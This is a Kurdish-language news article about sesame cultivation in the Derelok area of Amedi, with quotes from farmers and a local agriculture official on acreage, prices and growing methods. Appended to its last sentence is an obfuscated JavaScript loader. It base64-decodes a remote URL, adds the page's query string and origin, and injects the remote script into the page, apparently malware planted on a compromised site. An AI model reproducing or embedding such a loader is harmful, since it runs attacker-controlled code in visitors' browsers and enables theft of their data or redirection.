ئەڤ سالە 800 دونەمێن ئەردی ل دێرەلۆكێ بووینە كونجی
ئامێدیێ، مەحمود نهێلی
بەرپرسێ هۆبا چاندنێ ل دێرەلۆكێ دیار كر، ئەڤ سالە پتر ژ 800 دونەمێن ئەردی بۆ مەبەستا كونجیان هاتینە ب كارئینان و هەكە چ ئاریشە درۆست نەبن دێ داهاتەكێ باش بۆ جوتیاری بەرهەم ئینیت و جوتیار ژی دبێژن بەرهەمێ كونجیان ئەڤ سالە یێ باشە.
زكری سەید حەسەن، ئێك ژ جوتیارێن دەڤەرێ هەموو سالان ب كارێ چاندنا كنجیان رادبیت بۆ ئەڤرۆ گۆت: كونجیا دەڤەرا مە هەموو سالان یا باشە، لێ ئەڤ سالە چێدبیت باشتر بیت ژ سالا چوویی، چونكو سالا دەربازبوویی كونجیا دەڤەرێ گەلەك یا سەرۆبەر بوویە و ل دەڤەرا مە گەلەك جورێ، كونجیان دهێنە چاندن، لێ كونجیا هەری سەركەفتی یا كوردیە و ئەوا بەرێ دا دهاتە چاندن.
ناڤهاتی دیار كر، ئەو كونجیێ دادقوتن ئەوێ كونجیێ بەنە سیكێ هەم بۆ فروتنێ هندەك جوتیار ژی بتنێ كونجیا بۆ خوە دچینن و دكەنە تەحین و گۆت: هێشتا ئەڤ سالە بهایێ وێ نەهاتیە دیاكرن، بەلێ ل سالا چوویێ تەنەكا كونجیا دناڤبەرا 50 بۆ 60 هزار دیناران دا بوویە.
جوتیارەكی دی ب ناڤێ ایق شەعبان دیار كر، د نوكە دا هاریكاریا جوتیاری ناهێتە كرن بۆ وێ یەكێ دەمێ جوتیار دەست ب كارێ چاندنێ دكەت زیان نەگەهنێ وەك دابینكرنا كیمیایێ و هەروەسا گازوایلێ و چێكرنا جویێن ئاڤدانێ.
دەربارەی چاوانیا چاندنا كونجیێ گۆت: پشتی زەڤی دهێتە كێلان دهێتە روبساندن و هەروەسا دهێتە توڤ كرن و پشتی دەرباز بوونا چل رۆژان دێ بەرئاڤا ئێكێ دەنێ و پاشان پشتی دەربازبوونا 15 رۆژان سێ تا چار جاران دهێتە ئاڤ دان.
و گۆت: پشتی كونجی دگەهیت دێ هێتە هەلكێشان و پاشان دێ كەنە كەپرۆك و پشتێ هشك دبیت دێ هێنە داقوتان و دێ دەنە بای بۆ وێ یەكێ كونجی پاقژببیت و پاشان دێ بەنە ئاشی بۆ چێكرنا تەحینێ. هندەك كەس كونجیێ بۆ خوە دكەن ب تنێ دكەنە تەحین و هندەك كەس ژی بۆ فرۆتنێ كونجیان دچینن.
ئەندازیار عسمەت ئیبراهیم بەرپرسێ هۆبا چاندنا دێرەلۆكی بۆ رۆژناما ئەڤرۆ خویاكر، ل سنورێ هۆبا وانا چاندنا كونجیان سال بۆ سالێ پتر لێ دهێت و ژ بەر كو بەرهەمێ وێ یێ باشە و تاما وێ ژی یا خوەشە و گۆت: ئەڤ سالە خوشبەختانە دۆرێن 800 دونەمێن كونجیان هاتینە چاندن و نوكە ژی بەردەوام هند جوتیار دچینن.
دیار كر، چەمێن وانا سیستەمەك یێ هەی و دبیتە دو كەرت كەرتەك بۆ چاندنا كونجیان دهێتە ب كار ئینان و كەرتەك ژی بۆ چاندنا برنجی یە و گۆت: ئەو ئەردێ مایی ژی بۆ چاندنا بەرهەمێن دیتر هاتبوو ب كار ئینان .
و خویاكر، ژ بلی ڤان چەمان هند ژ جوتیار ل بەر ئاڤا رووباری كونجیان دچینن ژ بەر ڤێ یەكێ ژی ئەڤ سالە بەرهەمێن چاندنا كونجیان زێدەبوویە.
ناڤهاتی داخواز ژ هەموو جوتیارێن دەڤەرێ كر، پتر گرنگیێ ب چاندنێ و بەرهەمێ نافخوەیی بدەن، ژ بەر كو نوكە پتر هاولاتی ژی گرنگیێ ب بەرهەمێن نافخوەیی ددەت و گۆت: ب چاندنێ و گرنگی دان ب بەرهەمێن نافخوە دێ پتر شێین خوە سەر پێنخوە گرین و ئابۆرێ خوە ژی پێشئێخن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
